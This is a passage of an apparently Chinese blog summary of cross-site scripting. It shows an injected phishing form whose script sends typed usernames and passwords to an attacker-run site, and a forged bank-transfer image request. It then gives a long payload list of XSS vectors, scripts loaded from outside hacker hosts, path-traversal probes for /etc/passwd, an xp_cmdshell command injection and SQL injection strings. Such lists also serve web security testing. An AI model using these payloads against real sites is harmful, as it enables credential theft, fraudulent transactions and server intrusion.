XSS跨站總結
123456789101112131415 |
<script> function hack() {
location.replace(「http: //www.attackpage.com/record.asp?username=「 +document.forms[ 0 ].user.value + 「password=」 + document.forms[ 0 ].pass.value); } </script> <form> <br><br><HR><H3>這個功能需要登錄:</H3 > <br><br>請輸入用戶名:<br> <input type=」text」 id=」user」name=」user」> <br>請輸入密碼:<br> <input type=」password」 name =「pass」> <br><input type=」submit」name=」login」 value=」登錄」onclick=」hack()」> </form><br><br><HR> |
注入上面的代碼後,則會在原來的頁面上,插入一段表單,要求用戶輸入自己的用戶名和密碼,而當用戶點擊「登錄」按鈕後,則會執行hack()函數,將用戶的輸入發送到攻擊者指定的網站上去。這樣,攻擊者就成功竊取了該用戶的賬號信息。可以看到,和一般的釣魚攻擊不同,XSS引導的釣魚攻擊由於是對用戶信任的網站頁面進行修改,因此隱蔽性很高,而用戶的賬號失竊往往會帶來重大的損失,因此它的危害也是十分巨大的。3.跨站請求偽造跨站請求偽造(Cross-SiteRequest Forgery,CSRF),作為OWASP組織的2007年提出十大安全漏洞第五,它也屬於XSS攻擊的一種衍生。所謂跨站請求偽造,就是攻擊者利用XSS注入攻擊的方式,注入一段腳本,而當受害者的瀏覽器運行這段腳本時,腳本偽造受害者發送了一個合法請求。比如我們注入如下的HTML代碼:代碼:<imgsrc = 「http://www.bank.com/transfer.do?toAct=123456&money=10000>假如上面的代碼中所訪問的是某個銀行網站的轉賬服務,則當受害者的瀏覽器運行這段腳本時,就會向攻擊者指定的賬戶(示例的123456)執行轉賬操作。由於這個轉賬請求是在受害者的瀏覽器中運行的,因此瀏覽器也會自動將受害者的Cookie信息一併發送。這樣,發送的請求就好像是受害者自己發送的一樣,銀行網站也將認可這個請求的合法性,攻擊者也就達到了偽造請求的目的。4.注入惡意軟體除了直接注入惡意腳本以外,通過XSS攻擊,攻擊者也可以很方便地在腳本中引入一些惡意軟體,比如病毒、木馬、蠕蟲等等。例如,攻擊者可以在某個自己建立的頁面上放置一些惡意軟體,然後用XSS注入的方式,插入一段引用該頁面的腳本。這樣當受害者的瀏覽器執行這段腳本的時候,就會自動訪問放置了惡意軟體的頁面,從而受到這些惡意軟體的感染。利用XSS注入惡意軟體的方式,攻擊者可以很方便地在互聯網上傳播病毒、木馬和蠕蟲,通過這種途徑,攻擊者就可以通過這些病毒、木馬和蠕蟲,進一步地對受害者的主機發動攻擊。目前,互聯網上的「掛馬」現象非常普遍,而XSS注入的出現也無疑給「掛馬」的攻擊者指明了又一個新的方向。通過傳播這些木馬,竊取合法用戶的敏感信息,不少非法攻擊者也逐漸將這一過程產業化,經常可以見到以信封方式批量兜售賬號密碼的現象。這也給許多正常的網路用戶造成了許多無法挽回的巨大損失,造成的危害也很大。挖掘方式:1. 對於反射型XSS以及一些DOM XSS,一般建議是開發一些自動化的掃描工具進行掃描,並輔以手工分析。 另外一方面,搜索引擎也是快速尋找具有缺陷參數的好辦法。 具體可見:白帽子信息_心傷的瘦子2. 對於存儲型XSS,1) 對於單純的輸入->存儲->輸出點 的情況 (輸入與輸出點關係:一個地方輸入,會有多個地方輸出;不同地方輸入,同一地方輸出。)。常規測試是正向直接輸入內容,然後在輸出點查看是否未過濾,當然你也可以先大膽假設輸出點未過濾,反向尋找在何處進行輸入,進而測試。2)對於富文本,則需要對過濾器進行fuzz測試(人腦+自動化)了,可參照:fuzzing XSS filter3)第三類,就是一些WEB應用中所出現的DOM-存儲型XSS,即輸出點的無害內容,會經過js的一些dom操作變得危險(本質上和 第1點裡的dom xss成因是一樣的)。這一類的挖掘方法,個人覺得不太好總結。 其一,需要熟悉WEB應用的功能,其二,知道功能所對應的JS代碼有哪些,其三,憑直覺猜測程序員會在哪些功能出現可能導致XSS的過濾遺忘或過濾錯誤(直覺是唬人的,其實就是你知道某些功能會需要某些代碼實現,而這些代碼常常容易出錯),其四,需要有較好的代碼閱讀跟蹤能力(JS一大坨。。還是蠻難讀的.... 有些代碼被混淆過,十分不易閱讀,就會涉及到如何下斷點進行調試的小技巧)。 我想,挖掘這一類的前提可能是需要有不錯的前端開發經驗,寫多了,才會有足夠的嗅覺。檢測方法代碼:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111 | "><svg><script xlink:href= //********></script> <script>alert(document.cookie)</script> javascript:console.log( 0 ) <script>console.log( 1 )</script> "><script>alert(document.cookie)</script> ="><script>alert(document.cookie)</script> <script>alert(document.cookie)</script> <script>alert(vulnerable)</script> %3Cscript%3Ealert( "XSS" )%3C/script%3E <script>alert( "XSS" )</script> <img src= "javascript:alert("XSS")" > %0a%0a<script>alert("Vulnerable")</script>.jsp % 22 %3cscript%3ealert(%22xss% 22 )%3c/script%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscript%3ealert(%22xss% 22 )%3c/script%3e %3c/title%3e%3cscript%3ealert(%22xss% 22 )%3c/script%3e %3cscript%3ealert(%22xss% 22 )%3c/script%3e/index.html %3f.jsp %3f.jsp <script>alert( "Vulnerable" );</script> <script>alert( "Vulnerable" )</script> sql_debug= 1 a%5c.aspx a.jsp/<script>alert( "Vulnerable" )</script> a/ a?<script>alert( "Vulnerable" )</script> "><script>alert( "Vulnerable" )</script> ";exec%20master..xp_cmdshell%20" dir% 20 c:% 20 >%20c:inetpubwwwroot?.txt"--&& % 22 %3E%3Cscript%3Ealert(document.cookie)%3C/script%3E %3Cscript%3Ealert(document. domain);%3C/script%3E& %3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1 %20union%20all%20select%20pass, 0 , 0 , 0 , 0 %20from%20customers%20where%20fname= http: //www.cnblogs.com/http://ww ... logs.com/etc/passwd ................windowssystem.ini ................windowssystem.ini "" ;!--"<XSS>=&{()} <IMG src= "javascript:alert("XSS");" > <IMG src=javascript:alert( "XSS" )> <IMG src=JaVaScRiPt:alert( "XSS" )> <IMG src=JaVaScRiPt:alert( "XSS" )> <IMG src=javascript:alert( "XSS" )> <IMG src=javascript:alert( "XSS" )> <IMG src=javascript:alert('XSS')> <IMG src= "jav ascript:alert("XSS");" > <IMG src= "jav ascript:alert("XSS");" > <IMG src= "jav ascript:alert("XSS");" > "<IMG src=java script:alert("XSS")>" ;" > out <IMG src= " javascript:alert("XSS");" > <SCRIPT>a=/XSS/alert(a.source)</SCRIPT> <BODY BACKGROUND= "javascript:alert("XSS")" > <BODY ONLOAD=alert( "XSS" )> <IMG DYNSRC= "javascript:alert("XSS")" > <IMG LOWSRC= "javascript:alert("XSS")" > <BGSOUND src= "javascript:alert("XSS");" > <br size= "&{alert("XSS")}" > <LAYER src= "http://xss.ha.ckers.org/a.js" ></layer> <LINK REL= "stylesheet" href= "javascript:alert("XSS");" > <IMG src= "vbscript:msgbox("XSS")" > <IMG src= "mocha:" > <IMG src= "livescript:" > <META HTTP-EQUIV= "refresh" CONTENT= "0;url=javascript:alert("XSS");" > <IFRAME src=javascript:alert( "XSS" )></IFRAME> <FRAMESET><FRAME src=javascript:alert( "XSS" )></FRAME></FRAMESET> <TABLE BACKGROUND= "javascript:alert("XSS")" > <DIV STYLE= "background-image: url(javascript:alert("XSS"))" > <DIV STYLE= "behaviour: url("http://www.how-to-hack.org/exploit.html");" > <DIV STYLE= "width: (alert("XSS"));" > <STYLE> @im port "javasc ;</STYLE> <IMG STYLE= "xss:expression(alert("XSS"))" > <STYLE TYPE= "text/javascript" >alert( "XSS" );</STYLE> <STYLE TYPE= "text/css" >.XSS{background-image:url( "javascript:alert("XSS")" );}</STYLE><A class = "XSS" ></A> <STYLE type= "text/css" >BODY{background:url( "javascript:alert("XSS")" )}</STYLE> <BASE href= "javascript:alert("XSS");//" > getURL( "javascript:alert("XSS")" ) a= "get" ;b= "URL" ;c= "javascript:" ;d= "alert("XSS");" ;eval(a+b+c+d); <XML src= "javascript:alert("XSS");" > "> <BODY ONLOAD=" a(); "><SCRIPT>function a(){alert("XSS");}</SCRIPT><" <SCRIPT src=/uploadfile/ 2015 / 0126 / 20150126034957941 .jpg"></SCRIPT> <IMG src= "javascript:alert("XSS")" <!--#exec cmd= "/bin/echo "<SCRIPT SRC"" --><!--#exec cmd= "/bin/echo "=http://xss.ha.ckers.org/a.js></SCRIPT>"" --> <IMG src= "http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode" > <SCRIPT a= ">" src= "http://xss.ha.ckers.org/a.js" ></SCRIPT> <SCRIPT = ">" src= "http://xss.ha.ckers.org/a.js" ></SCRIPT> <SCRIPT a= ">" "" src= "http://xss.ha.ckers.org/a.js" ></SCRIPT> <SCRIPT "a=">"" src= "http://xss.ha.ckers.org/a.js" ></SCRIPT> <SCRIPT>document.write( "<SCRI" );</SCRIPT>PT src= "http://xss.ha.ckers.org/a.js" ></SCRIPT> <A href=http: //www.gohttp://www.google.com/ogle.com/>link</A> admin"-- " or 0 = 0 -- " or 0 = 0 -- or 0 = 0 -- " or 0 = 0 # " or 0 = 0 # or 0 = 0 # " or " x "=" x " or " x "=" x ") or (" x "=" x " or 1 = 1 -- " or 1 = 1 -- or 1 = 1 -- " or a=a-- " or " a "=" a ") or (" a "=" a ") or (" a "=" a hi " or " a "=" a hi" or 1 = 1 -- hi" or 1 = 1 -- hi " or " a "=" a hi ") or (" a "=" a hi ") or (" a "=" a |
推薦閱讀:
※所謂「絕招」都從義理總結中得來
※2011年各國移民情況總結盤點
※《周易》六十四卦歸類總結,帶水的十六卦有什麼特徵?一看嚇一跳
※復盤,比總結更能讓你精進的思維
※為什麼男人會喜歡別人的老婆,總結的太到位了
TAG:總結 |